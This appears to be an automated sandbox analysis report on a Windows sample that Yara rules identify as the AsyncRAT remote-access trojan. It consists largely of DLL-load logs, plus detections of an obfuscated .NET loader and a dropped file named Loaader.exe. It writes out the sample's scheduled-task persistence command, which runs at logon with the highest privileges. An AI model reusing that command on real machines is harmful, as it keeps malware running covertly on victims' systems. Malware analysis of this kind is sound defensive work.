Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\Loaader.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: t3h7DNer1Q.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: t3h7DNer1Q.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Ninja\Downloads\dcrat_fix-master\dcrat_fix-master\MessagePack\bin\Release\MessagePackLib.pdb source: Loaader.exe, 00000007.00000002.2888089416.000000001C6D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.dotnetzip.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: %costura.messagepacklib.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: Loaader.exe, 00000007.00000002.2885512181.000000001C520000.00000004.08000000.00040000.00000000.sdmp, Loaader.exe, 00000007.00000002.2869103757.00000000129E2000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2869103757.0000000012B17000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, AssemblyLoader.cs

.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Binary or sample is protected by dotNetProtector

Source: Loaader.exe, 00000007.00000002.2852826402.0000000002710000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: dotNetProtector
Source: Loaader.exe, 00000007.00000002.2869103757.00000000129E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dotNetProtector

Yara detected Costura Assembly Loader

Source: Yara match	File source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Code function: 0_2_00007FFD9BA100BD pushad ; iretd	0_2_00007FFD9BA100C1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA200BD pushad ; iretd	7_2_00007FFD9BA200C1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2F020 pushad ; retf	7_2_00007FFD9BA2F149
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2EF98 pushad ; retf	7_2_00007FFD9BA2F149
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2EF70 pushad ; retf	7_2_00007FFD9BA2F149
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2EFD3 pushad ; retf	7_2_00007FFD9BA2F149
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2EEF5 pushad ; retf	7_2_00007FFD9BA2F149
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA35587 push ecx; iretd	7_2_00007FFD9BA355DC
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC09F60 push FD9BCADCh; retf FD9Bh	7_2_00007FFD9BC0A35A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC12EAC push esp; retf	7_2_00007FFD9BC1345A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC13680 push edi; retf	7_2_00007FFD9BC13AAA
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BBF8BA0 pushad ; iretd	7_2_00007FFD9BBF8CE1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC053DB push ebx; iretd	7_2_00007FFD9BC0542A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC13363 push esp; retf	7_2_00007FFD9BC1345A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0D289 push es; retf	7_2_00007FFD9BC0D28A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0A860 pushad ; iretd	7_2_00007FFD9BC0A869
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0A858 pushad ; iretd	7_2_00007FFD9BC0A869
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0A840 pushad ; iretd	7_2_00007FFD9BC0A869
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0A7B0 pushad ; iretd	7_2_00007FFD9BC0A869
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0A7A0 pushad ; iretd	7_2_00007FFD9BC0A869
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC12E8D push ebx; retf	7_2_00007FFD9BC12EAA
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC12DED push edx; retf	7_2_00007FFD9BC12DFA
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 8_2_00007FFD9BA100BD pushad ; iretd	8_2_00007FFD9BA100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B8FD2A5 pushad ; iretd	13_2_00007FFD9B8FD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9BA16FE0 pushad ; iretd	13_2_00007FFD9BA16FE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9BA16FD3 pushad ; iretd	13_2_00007FFD9BA16FE9

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

File created: C:\Users\user\AppData\Roaming\Loaader.exe

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: t3h7DNer1Q.exe, type: SAMPLE
Source: Yara match	File source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
